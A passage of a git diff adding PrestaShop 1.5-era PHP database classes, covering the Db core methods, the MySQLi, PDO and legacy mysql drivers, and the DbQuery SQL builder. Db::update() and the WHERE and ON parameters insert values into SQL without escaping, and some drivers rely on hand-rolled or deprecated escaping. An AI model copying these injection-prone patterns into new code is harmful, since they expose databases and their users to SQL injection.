$insert_keyword.' INTO `'.$table.'` ('.$keys_stringified.') VALUES '.implode(', ', $values_stringified); + return (bool)$this->q($sql, $use_cache); + } + + /** + * @param string $table Table name without prefix + * @param array $data Data to insert as associative array. If $data is a list of arrays, multiple insert will be done + * @param string $where WHERE condition + * @param int $limit + * @param bool $null_values If we want to use NULL values instead of empty quotes + * @param bool $use_cache + * @param bool $add_prefix Add or not _DB_PREFIX_ before table name + * @return bool + */ + public function update($table, $data, $where = '', $limit = 0, $null_values = false, $use_cache = true, $add_prefix = true) + { + if (!$data) + return true; + + if ($add_prefix) + $table = _DB_PREFIX_.$table; + + $sql = 'UPDATE `'.$table.'` SET '; + foreach ($data as $key => $value) + { + if (!is_array($value)) + $value = array('type' => 'text', 'value' => $value); + if ($value['type'] == 'sql') + $sql .= "`$key` = {$value['value']},"; + else + $sql .= ($null_values && ($value['value'] === '' || is_null($value['value']))) ? "`$key` = NULL," : "`$key` = '{$value['value']}',"; + } + + $sql = rtrim($sql, ','); + if ($where) + $sql .= ' WHERE '.$where; + if ($limit) + $sql .= ' LIMIT '.(int)$limit; + return (bool)$this->q($sql, $use_cache); + } + + /** + * Execute a DELETE query + * + * @param string $table Name of the table to delete + * @param string $where WHERE clause on query + * @param int $limit Number max of rows to delete + * @param bool $use_cache Use cache or not + * @param bool $add_prefix Add or not _DB_PREFIX_ before table name + * @return bool + */ + public function delete($table, $where = '', $limit = 0, $use_cache = true, $add_prefix = true) + { + if (_DB_PREFIX_ && !preg_match('#^'._DB_PREFIX_.'#i', $table) && $add_prefix) + $table = _DB_PREFIX_.$table; + + $this->result = false; + $sql = 'DELETE FROM `'.bqSQL($table).'`'.($where ? ' WHERE '.$where : '').($limit ? ' LIMIT '.(int)$limit : ''); + $res = $this->query($sql); + if ($use_cache && $this->is_cache_enabled) + Cache::getInstance()->deleteQuery($sql); + return (bool)$res; + } + + /** + * Execute a query + * + * @param string $sql + * @param bool $use_cache + * @return bool + */ + public function execute($sql, $use_cache = true) + { + if ($sql instanceof DbQuery) + $sql = $sql->build(); + + $this->result = $this->query($sql); + if ($use_cache && $this->is_cache_enabled) + Cache::getInstance()->deleteQuery($sql); + return (bool)$this->result; + } + + /** + * ExecuteS return the result of $sql as array + * + * @param string $sql query to execute + * @param boolean $array return an array instead of a mysql_result object (deprecated since 1.5.0, use query method instead) + * @param bool $use_cache if query has been already executed, use its result + * @return array or result object + */ + public function executeS($sql, $array = true, $use_cache = true) + { + if ($sql instanceof DbQuery) + $sql = $sql->build(); + + // This method must be used only with queries which display results + if (!preg_match('#^\s*\(?\s*(select|show|explain|describe|desc)\s#i', $sql)) + { + if (defined('_PS_MODE_DEV_') && _PS_MODE_DEV_) + throw new PrestaShopDatabaseException('Db->executeS() must be used only with select, show, explain or describe queries'); + return $this->execute($sql, $use_cache); + } + + $this->result = false; + $this->last_query = $sql; + if ($use_cache && $this->is_cache_enabled && $array && ($result = Cache::getInstance()->get(md5($sql)))) + { + $this->last_cached = true; + return $result; + } + + $this->result = $this->query($sql); + if (!$this->result) + return false; + + $this->last_cached = false; + if (!$array) + return $this->result; + + $result_array = array(); + while ($row = $this->nextRow($this->result)) + $result_array[] = $row; + + if ($use_cache && $this->is_cache_enabled) + Cache::getInstance()->setQuery($sql, $result_array); + return $result_array; + } + + /** + * getRow return an associative array containing the first row of the query + * This function automatically add "limit 1" to the query + * + * @param mixed $sql the select query (without "LIMIT 1") + * @param bool $use_cache find it in cache first + * @return array associative array of (field=>value) + */ + public function getRow($sql, $use_cache = true) + { + if ($sql instanceof DbQuery) + $sql = $sql->build(); + + $sql .= ' LIMIT 1'; + $this->result = false; + $this->last_query = $sql; + if ($use_cache && $this->is_cache_enabled && ($result = Cache::getInstance()->get(md5($sql)))) + { + $this->last_cached = true; + return $result; + } + + $this->result = $this->query($sql); + if (!$this->result) + return false; + + $this->last_cached = false; + $result = $this->nextRow($this->result); + if ($use_cache && $this->is_cache_enabled) + Cache::getInstance()->setQuery($sql, $result); + return $result; + } + + /** + * getValue return the first item of a select query. + * + * @param mixed $sql + * @param bool $use_cache + * @return mixed + */ + public function getValue($sql, $use_cache = true) + { + if ($sql instanceof DbQuery) + $sql = $sql->build(); + + if (!$result = $this->getRow($sql, $use_cache)) + return false; + return array_shift($result); + } + + /** + * Get number of rows for last result + * + * @return int + */ + public function numRows() + { + if (!$this->last_cached && $this->result) + { + $nrows = $this->_numRows($this->result); + if ($this->is_cache_enabled) + Cache::getInstance()->set(md5($this->last_query).'_nrows', $nrows); + return $nrows; + } + else if ($this->is_cache_enabled && $this->last_cached) + return Cache::getInstance()->get(md5($this->last_query).'_nrows'); + } + + /** + * + * Execute a query + * + * @param string $sql + * @param bool $use_cache + * @return mixed $result + */ + protected function q($sql, $use_cache = true) + { + if ($sql instanceof DbQuery) + $sql = $sql->build(); + + $this->result = false; + $result = $this->query($sql); + if ($use_cache && $this->is_cache_enabled) + Cache::getInstance()->deleteQuery($sql); + if (_PS_DEBUG_SQL_) + $this->displayError($sql); + return $result; + } + + /** + * Display last SQL error + * + * @param bool $sql + */ + public function displayError($sql = false) + { + global $webservice_call; + + $errno = $this->getNumberError(); + if ($webservice_call && $errno) + { + $dbg = debug_backtrace(); + WebserviceRequest::getInstance()->setError(500, '[SQL Error] '.$this->getMsgError().'. From '.(isset($dbg[3]['class']) ? $dbg[3]['class'] : '').'->'.$dbg[3]['function'].'() Query was : '.$sql, 97); + } + else if (_PS_DEBUG_SQL_ && $errno && !defined('PS_INSTALLATION_IN_PROGRESS')) + { + if ($sql) + throw new PrestaShopDatabaseException($this->getMsgError().'<br /><br /><pre>'.$sql.'</pre>'); + throw new PrestaShopDatabaseException($this->getMsgError()); + } + } + + /** + * Sanitize data which will be injected into SQL query + * + * @param string $string SQL data which will be injected into SQL query + * @param boolean $html_ok Does data contain HTML code ? (optional) + * @return string Sanitized data + */ + public function escape($string, $html_ok = false) + { + if (_PS_MAGIC_QUOTES_GPC_) + $string = stripslashes($string); + if (!is_numeric($string)) + { + $string = $this->_escape($string); + if (!$html_ok) + $string = strip_tags(Tools::nl2br($string)); + } + + return $string; + } + + /** + * Try a connection to te database + * + * @param string $server Server address + * @param string $user Login for database connection + * @param string $pwd Password for database connection + * @param string $db Database name + * @param bool $new_db_link + * @param bool $engine + * @return int + */ + public static function checkConnection($server, $user, $pwd, $db, $new_db_link = true, $engine = null, $timeout = 5) + { + return call_user_func_array(array(Db::getClass(), 'tryToConnect'), array($server, $user, $pwd, $db, $new_db_link, $engine, $timeout)); + } + + /** + * Try a connection to te database + * + * @param string $server Server address + * @param string $user Login for database connection + * @param string $pwd Password for database connection + * @return int + */ + public static function checkEncoding($server, $user, $pwd) + { + return call_user_func_array(array(Db::getClass(), 'tryUTF8'), array($server, $user, $pwd)); + } + + /** + * Try a connection to the database and check if at least one table with same prefix exists + * + * @param string $server Server address + * @param string $user Login for database connection + * @param string $pwd Password for database connection + * @param string $db Database name + * @param string $prefix Tables prefix + * @return bool + */ + public static function hasTableWithSamePrefix($server, $user, $pwd, $db, $prefix) + { + return call_user_func_array(array(Db::getClass(), 'hasTableWithSamePrefix'), array($server, $user, $pwd, $db, $prefix)); + } + + public static function checkCreatePrivilege($server, $user, $pwd, $db, $prefix, $engine) + { + return call_user_func_array(array(Db::getClass(), 'checkCreatePrivilege'), array($server, $user, $pwd, $db, $prefix, $engine)); + } + + /** + * @deprecated 1.5.0 + */ + public static function s($sql, $use_cache = true) + { + Tools::displayAsDeprecated(); + return Db::getInstance()->executeS($sql, true, $use_cache); + } + + /** + * @deprecated 1.5.0 + */ + public static function ps($sql, $use_cache = 1) + { + Tools::displayAsDeprecated(); + $ret = Db::s($sql, $use_cache); + p($ret); + return $ret; + } + + /** + * @deprecated 1.5.0 + */ + public static function ds($sql, $use_cache = 1) + { + Tools::displayAsDeprecated(); + Db::s($sql, $use_cache); + die(); + } +} diff --git a/classes/db/DbMySQLi.php b/classes/db/DbMySQLi.php new file mode 100755 index 0000000..3d55569 --- /dev/null +++ b/classes/db/DbMySQLi.php @@ -0,0 +1,218 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class DbMySQLiCore extends Db +{ + /** + * @see DbCore::connect() + */ + public function connect() + { + if (strpos($this->server, ':') !== false) + { + list($server, $port) = explode(':', $this->server); + $this->link = @new mysqli($server, $this->user, $this->password, $this->database, $port); + } + else + $this->link = @new mysqli($this->server, $this->user, $this->password, $this->database); + + // Do not use object way for error because this work bad before PHP 5.2.9 + if (mysqli_connect_error()) + throw new PrestaShopDatabaseException(sprintf(Tools::displayError('Link to database cannot be established: %s'), mysqli_connect_error())); + + // UTF-8 support + if (!$this->link->query('SET NAMES \'utf8\'')) + throw new PrestaShopDatabaseException(Tools::displayError('PrestaShop Fatal error: no utf-8 support. Please check your server configuration.')); + + return $this->link; + } + + /** + * @see DbCore::disconnect() + */ + public function disconnect() + { + @$this->link->close(); + } + + /** + * @see DbCore::_query() + */ + protected function _query($sql) + { + return $this->link->query($sql); + } + + /** + * @see DbCore::nextRow() + */ + public function nextRow($result = false) + { + if (!$result) + $result = $this->result; + return $result->fetch_assoc(); + } + + /** + * @see DbCore::_numRows() + */ + protected function _numRows($result) + { + return $result->num_rows; + } + + /** + * @see DbCore::Insert_ID() + */ + public function Insert_ID() + { + return $this->link->insert_id; + } + + /** + * @see DbCore::Affected_Rows() + */ + public function Affected_Rows() + { + return $this->link->affected_rows; + } + + /** + * @see DbCore::getMsgError() + */ + public function getMsgError($query = false) + { + return $this->link->error; + } + + /** + * @see DbCore::getNumberError() + */ + public function getNumberError() + { + return $this->link->errno; + } + + /** + * @see DbCore::getVersion() + */ + public function getVersion() + { + return $this->getValue('SELECT VERSION()'); + } + + /** + * @see DbCore::_escape() + */ + public function _escape($str) + { + return $this->link->real_escape_string($str); + } + + /** + * @see DbCore::set_db() + */ + public function set_db($db_name) + { + return $this->link->query('USE '.pSQL($db_name)); + } + + /** + * @see Db::hasTableWithSamePrefix() + */ + public static function hasTableWithSamePrefix($server, $user, $pwd, $db, $prefix) + { + $link = @new mysqli($server, $user, $pwd, $db); + if (mysqli_connect_error()) + return false; + + $sql = 'SHOW TABLES LIKE \''.$prefix.'%\''; + $result = $link->query($sql); + return (bool)$result->fetch_assoc(); + } + + /** + * @see Db::checkConnection() + */ + public static function tryToConnect($server, $user, $pwd, $db, $newDbLink = true, $engine = null, $timeout = 5) + { + $link = mysqli_init(); + if (!$link) + return -1; + + if (!$link->options(MYSQLI_OPT_CONNECT_TIMEOUT, $timeout)) + return 1; + + if (!$link->real_connect($server, $user, $pwd, $db)) + return (mysqli_connect_errno() == 1049) ? 2 : 1; + + if (strtolower($engine) == 'innodb') + { + $sql = 'SHOW VARIABLES WHERE Variable_name = \'have_innodb\''; + $result = $link->query($sql); + if (!$result) + return 4; + $row = $result->fetch_assoc(); + if (!$row || strtolower($row['Value']) != 'yes') + return 4; + } + $link->close(); + return 0; + } + + public static function checkCreatePrivilege($server, $user, $pwd, $db, $prefix, $engine) + { + $link = @new mysqli($server, $user, $pwd, $db); + if (mysqli_connect_error()) + return false; + + $sql = ' + CREATE TABLE `'.$prefix.'test` ( + `test` tinyint(1) unsigned NOT NULL + ) ENGINE=MyISAM'; + $result = $link->query($sql); + + if (!$result) + return $link->error; + + $link->query('DROP TABLE `'.$prefix.'test`'); + return true; + } + + /** + * @see Db::checkEncoding() + */ + static public function tryUTF8($server, $user, $pwd) + { + $link = @new mysqli($server, $user, $pwd, $db); + $ret = $link->query("SET NAMES 'UTF8'"); + $link->close(); + return $ret; + } +} diff --git a/classes/db/DbPDO.php b/classes/db/DbPDO.php new file mode 100755 index 0000000..4a3d371 --- /dev/null +++ b/classes/db/DbPDO.php @@ -0,0 +1,239 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This class is currently only here for tests + * + * @since 1.5.0 + */ +class DbPDOCore extends Db +{ + protected static function _getPDO($host, $user, $password, $dbname, $timeout = 5) + { + $dsn = 'mysql:'; + if ($dbname) + $dsn .= 'dbname='.$dbname.';'; + if (preg_match('/^(.*):([0-9]+)$/', $host, $matches)) + $dsn .= 'host='.$matches[1].';port='.$matches[2]; + elseif (preg_match('#^.*:(/.*)$#', $host, $matches)) + $dsn .= 'unix_socket='.$matches[1]; + else + $dsn .= 'host='.$host; + + return new PDO($dsn, $user, $password, array(PDO::ATTR_TIMEOUT => $timeout, PDO::MYSQL_ATTR_USE_BUFFERED_QUERY => true)); + } + + /** + * @see DbCore::connect() + */ + public function connect() + { + try { + $this->link = $this->_getPDO($this->server, $this->user, $this->password, $this->database, 5); + } catch (PDOException $e) { + die(sprintf(Tools::displayError('Link to database cannot be established: %s'), utf8_encode($e->getMessage()))); + } + + // UTF-8 support + if ($this->link->exec('SET NAMES \'utf8\'') === false) + die(Tools::displayError('PrestaShop Fatal error: no utf-8 support. Please check your server configuration.')); + + return $this->link; + } + + /** + * @see DbCore::disconnect() + */ + public function disconnect() + { + unset($this->link); + } + + /** + * @see DbCore::_query() + */ + protected function _query($sql) + { + return $this->link->query($sql); + } + + /** + * @see DbCore::nextRow() + */ + public function nextRow($result = false) + { + if (!$result) + $result = $this->result; + return $result->fetch(PDO::FETCH_ASSOC); + } + + /** + * @see DbCore::_numRows() + */ + protected function _numRows($result) + { + return $result->rowCount(); + } + + /** + * @see DbCore::Insert_ID() + */ + public function Insert_ID() + { + return $this->link->lastInsertId(); + } + + /** + * @see DbCore::Affected_Rows() + */ + public function Affected_Rows() + { + return $this->result->rowCount(); + } + + /** + * @see DbCore::getMsgError() + */ + public function getMsgError($query = false) + { + $error = $this->link->errorInfo(); + return ($error[0] == '00000') ? '' : $error[2]; + } + + /** + * @see DbCore::getNumberError() + */ + public function getNumberError() + { + $error = $this->link->errorInfo(); + return isset($error[1]) ? $error[1] : 0; + } + + /** + * @see DbCore::getVersion() + */ + public function getVersion() + { + return $this->getValue('SELECT VERSION()'); + } + + /** + * @see DbCore::_escape() + */ + public function _escape($str) + { + $search = array("\\", "\0", "\n", "\r", "\x1a", "'", '"'); + $replace = array("\\\\", "\\0", "\\n", "\\r", "\Z", "\'", '\"'); + return str_replace($search, $replace, $str); + } + + /** + * @see DbCore::set_db() + */ + public function set_db($db_name) + { + return $this->link->exec('USE '.pSQL($db_name)); + } + + /** + * @see Db::hasTableWithSamePrefix() + */ + public static function hasTableWithSamePrefix($server, $user, $pwd, $db, $prefix) + { + try { + $link = DbPDO::_getPDO($server, $user, $pwd, $db, 5); + } catch (PDOException $e) { + return false; + } + + $sql = 'SHOW TABLES LIKE \''.$prefix.'%\''; + $result = $link->query($sql); + return (bool)$result->fetch(); + } + + public static function checkCreatePrivilege($server, $user, $pwd, $db, $prefix, $engine) + { + try { + $link = DbPDO::_getPDO($server, $user, $pwd, $db, 5); + } catch (PDOException $e) { + return false; + } + + $sql = ' + CREATE TABLE `'.$prefix.'test` ( + `test` tinyint(1) unsigned NOT NULL + ) ENGINE=MyISAM'; + $result = $link->query($sql); + if (!$result) + { + $error = $link->errorInfo(); + return $error[2]; + } + $link->query('DROP TABLE `'.$prefix.'test`'); + return true; + } + + /** + * @see Db::checkConnection() + */ + public static function tryToConnect($server, $user, $pwd, $db, $newDbLink = true, $engine = null, $timeout = 5) + { + try { + $link = DbPDO::_getPDO($server, $user, $pwd, $db, $timeout); + } catch (PDOException $e) { + return ($e->getCode() == 1049) ? 2 : 1; + } + + if (strtolower($engine) == 'innodb') + { + $sql = 'SHOW VARIABLES WHERE Variable_name = \'have_innodb\''; + $result = $link->query($sql); + if (!$result) + return 4; + $row = $result->fetch(); + if (!$row || strtolower($row['Value']) != 'yes') + return 4; + } + unset($link); + return 0; + } + + /** + * @see Db::checkEncoding() + */ + public static function tryUTF8($server, $user, $pwd) + { + try { + $link = DbPDO::_getPDO($server, $user, $pwd, false, 5); + } catch (PDOException $e) { + return false; + } + $result = $link->exec('SET NAMES \'utf8\''); + unset($link); + + return ($result === false) ? false : true; + } +} diff --git a/classes/db/DbQuery.php b/classes/db/DbQuery.php new file mode 100755 index 0000000..33f199d --- /dev/null +++ b/classes/db/DbQuery.php @@ -0,0 +1,254 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * SQL query builder + * + * @since 1.5.0 + */ +class DbQueryCore +{ + /** + * @var array list of data to build the query + */ + protected $query = array( + 'select' => array(), + 'from' => '', + 'join' => array(), + 'where' => array(), + 'group' => array(), + 'having' => array(), + 'order' => array(), + 'limit' => array('offset' => 0, 'limit' => 0), + ); + + /** + * Add fields in query selection + * + * @param string $fields List of fields to concat to other fields + * @return DbQuery + */ + public function select($fields) + { + if (!empty($fields)) + $this->query['select'][] = $fields; + return $this; + } + + /** + * Set table for FROM clause + * + * @param string $table Table name + * @return DbQuery + */ + public function from($table, $alias = null) + { + if (!empty($table)) + $this->query['from'][] = '`'._DB_PREFIX_.$table.'`'.($alias ? ' '.$alias : ''); + return $this; + } + + /** + * Add JOIN clause + * E.g. $this->join('RIGHT JOIN '._DB_PREFIX_.'product p ON ...'); + * + * @param string $join Complete string + * @return DbQuery + */ + public function join($join) + { + if (!empty($join)) + $this->query['join'][] = $join; + + return $this; + } + + /** + * Add LEFT JOIN clause + * + * @param string $table Table name (without prefix) + * @param string $alias Table alias + * @param string $on ON clause + */ + public function leftJoin($table, $alias = null, $on = null) + { + return $this->join('LEFT JOIN `'._DB_PREFIX_.bqSQL($table).'`'.($alias ? ' `'.pSQL($alias).'`' : '').($on ? ' ON '.$on : '')); + } + + /** + * Add INNER JOIN clause + * E.g. $this->innerJoin('product p ON ...') + * + * @param string $table Table name (without prefix) + * @param string $alias Table alias + * @param string $on ON clause + */ + public function innerJoin($table, $alias = null, $on = null) + { + return $this->join('INNER JOIN `'._DB_PREFIX_.bqSQL($table).'`'.($alias ? ' '.pSQL($alias) : '').($on ? ' ON '.$on : '')); + } + + /** + * Add LEFT OUTER JOIN clause + * + * @param string $table Table name (without prefix) + * @param string $alias Table alias + * @param string $on ON clause + */ + public function leftOuterJoin($table, $alias = null, $on = null) + { + return $this->join('LEFT OUTER JOIN `'._DB_PREFIX_.bqSQL($table).'`'.($alias ? ' '.pSQL($alias) : '').($on ? ' ON '.$on : '')); + } + + /** + * Add NATURAL JOIN clause + * + * @param string $table Table name (without prefix) + * @param string $alias Table alias + */ + public function naturalJoin($table, $alias = null) + { + return $this->join('NATURAL JOIN `'._DB_PREFIX_.bqSQL($table).'`'.($alias ? ' '.pSQL($alias) : '')); + } + + /** + * Add a restriction in WHERE clause (each restriction will be separated by AND statement) + * + * @param string $restriction + * @return DbQuery + */ + public function where($restriction) + { + if (!empty($restriction)) + $this->query['where'][] = $restriction; + + return $this; + } + + /** + * Add a restriction in HAVING clause (each restriction will be separated by AND statement) + * + * @param string $restriction + * @return DbQuery + */ + public function having($restriction) + { + if (!empty($restriction)) + $this->query['having'][] = $restriction; + + return $this; + } + + /** + * Add an ORDER B restriction + * + * @param string $fields List of fields to sort. E.g. $this->order('myField, b.mySecondField DESC') + * @return DbQuery + */ + public function orderBy($fields) + { + if (!empty($fields)) + $this->query['order'][] = $fields; + + return $this; + } + + /** + * Add a GROUP BY restriction + * + * @param string $fields List of fields to sort. E.g. $this->group('myField, b.mySecondField DESC') + * @return DbQuery + */ + public function groupBy($fields) + { + if (!empty($fields)) + $this->query['group'][] = $fields; + + return $this; + } + + /** + * Limit results in query + * + * @param string $fields List of fields to sort. E.g. $this->order('myField, b.mySecondField DESC') + * @return DbQuery + */ + public function limit($limit, $offset = 0) + { + $offset = (int)$offset; + if ($offset < 0) + $offset = 0; + + $this->query['limit'] = array( + 'offset' => $offset, + 'limit' => (int)$limit, + ); + return $this; + } + + /** + * Generate and get the query + * + * @return string + */ + public function build() + { + $sql = 'SELECT '.((($this->query['select'])) ? implode(",\n", $this->query['select']) : '*')."\n"; + + if (!$this->query['from']) + die('DbQuery->build() missing from clause'); + $sql .= 'FROM '.implode(', ', $this->query['from'])."\n"; + + if ($this->query['join']) + $sql .= implode("\n", $this->query['join'])."\n"; + + if ($this->query['where']) + $sql .= 'WHERE ('.implode(') AND (', $this->query['where']).")\n"; + + if ($this->query['group']) + $sql .= 'GROUP BY '.implode(', ', $this->query['group'])."\n"; + + if ($this->query['having']) + $sql .= 'HAVING ('.implode(') AND (', $this->query['having']).")\n"; + + if ($this->query['order']) + $sql .= 'ORDER BY '.implode(', ', $this->query['order'])."\n"; + + if ($this->query['limit']['limit']) + { + $limit = $this->query['limit']; + $sql .= 'LIMIT '.(($limit['offset']) ? $limit['offset'].', '.$limit['limit'] : $limit['limit']); + } + + return $sql; + } + + public function __toString() + { + return $this->build(); + } +} + diff --git a/classes/db/MySQL.php b/classes/db/MySQL.php new file mode 100755 index 0000000..b8db3db --- /dev/null +++ b/classes/db/MySQL.php @@ -0,0 +1,218 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class MySQLCore extends Db +{ + /** + * @see DbCore::connect() + */ + public function connect() + { + if (!defined('_PS_MYSQL_REAL_ESCAPE_STRING_')) + define('_PS_MYSQL_REAL_ESCAPE_STRING_', function_exists('mysql_real_escape_string')); + + if (!$this->link = mysql_connect($this->server, $this->user, $this->password)) + throw new PrestaShopDatabaseException(Tools::displayError('Link to database cannot be established.')); + + if (!$this->set_db($this->database)) + throw new PrestaShopDatabaseException(Tools::displayError('The database selection cannot be made.')); + + // UTF-8 support + if (!mysql_query('SET NAMES \'utf8\'', $this->link)) + throw new PrestaShopDatabaseException(Tools::displayError('PrestaShop Fatal error: no utf-8 support. Please check your server configuration.')); + + return $this->link; + } + + /** + * @see DbCore::disconnect() + */ + public function disconnect() + { + mysql_close($this->link); + } + + /** + * @see DbCore::_query() + */ + protected function _query($sql) + { + return mysql_query($sql, $this->link); + } + + /** + * @see DbCore::nextRow() + */ + public function nextRow($result = false) + { + $return = false; + if(is_resource($result) && $result) + $return = mysql_fetch_assoc($result); + elseif(is_resource($this->_result) && $this->_result) + $return = mysql_fetch_assoc($this->_result); + return $return; + } + + /** + * @see DbCore::_numRows() + */ + protected function _numRows($result) + { + return mysql_num_rows($result); + } + + /** + * @see DbCore::Insert_ID() + */ + public function Insert_ID() + { + return mysql_insert_id($this->link); + } + + /** + * @see DbCore::Affected_Rows() + */ + public function Affected_Rows() + { + return mysql_affected_rows($this->link); + } + + /** + * @see DbCore::getMsgError() + */ + public function getMsgError($query = false) + { + return mysql_error($this->link); + } + + /** + * @see DbCore::getNumberError() + */ + public function getNumberError() + { + return mysql_errno($this->link); + } + + /** + * @see DbCore::getVersion() + */ + public function getVersion() + { + return mysql_get_server_info($this->link); + } + + /** + * @see DbCore::_escape() + */ + public function _escape($str) + { + return _PS_MYSQL_REAL_ESCAPE_STRING_ ? mysql_real_escape_string($str, $this->link) : addslashes($str); + } + + /** + * @see DbCore::set_db() + */ + public function set_db($db_name) + { + return mysql_select_db($db_name, $this->link); + } + + /** + * @see Db::hasTableWithSamePrefix() + */ + public static function hasTableWithSamePrefix($server, $user, $pwd, $db, $prefix) + { + if (!$link = @mysql_connect($server, $user, $pwd, true)) + return false; + if (!@mysql_select_db($db, $link)) + return false; + + $sql = 'SHOW TABLES LIKE \''.$prefix.'%\''; + $result = mysql_query($sql); + return (bool)@mysql_fetch_assoc($result); + } + + /** + * @see Db::checkConnection() + */ + public static function tryToConnect($server, $user, $pwd, $db, $newDbLink = true, $engine = null, $timeout = 5) + { + ini_set('mysql.connect_timeout', $timeout); + if (!$link = @mysql_connect($server, $user, $pwd, $newDbLink)) + return 1; + if (!@mysql_select_db($db, $link)) + return 2; + + if (strtolower($engine) == 'innodb') + { + $sql = 'SHOW VARIABLES WHERE Variable_name = \'have_innodb\''; + $result = mysql_query($sql); + if (!$result) + return 4; + $row = mysql_fetch_assoc($result); + if (!$row || strtolower($row['Value']) != 'yes') + return 4; + } + @mysql_close($link); + return 0; + } + + public static function checkCreatePrivilege($server, $user, $pwd, $db, $prefix, $engine) + { + ini_set('mysql.connect_timeout', 5); + if (!$link = @mysql_connect($server, $user, $pwd, true)) + return false; + if (!@mysql_select_db($db, $link)) + return false; + + $sql = ' + CREATE TABLE `'.$prefix.'test` ( + `test` tinyint(1) unsigned NOT NULL + ) ENGINE=MyISAM'; + + $result = mysql_query($sql, $link); + + if (!$result) + return mysql_error($link); + + mysql_query('DROP TABLE `'.$prefix.'test`', $link); + return true; + } + + /** + * @see Db::checkEncoding() + */ + static public function tryUTF8($server, $user, $pwd) + { + $link = @mysql_connect($server, $user, $pwd); + if (!mysql_query('SET NAMES \'utf8\'', $link)) + $ret = false; + else + $ret = true; + @mysql_close($link); + return $ret; + } +} diff --git a/classes/db/index.php b/classes/db/index.php new file mode 100755 index 0000000..c1c95ce --- /dev/null +++ b/classes/db/index.php @@ -0,0 +1,35 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../'); +exit; \ No newline at end of file diff --git a/classes/exception/PrestaShopDatabaseException.php b/classes/exception/PrestaShopDatabaseException.php new file mode 100755 index 0000000..a92faca --- /dev/null +++ b/classes/exception/PrestaShopDatabaseException.php @@ -0,0 +1,37 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA 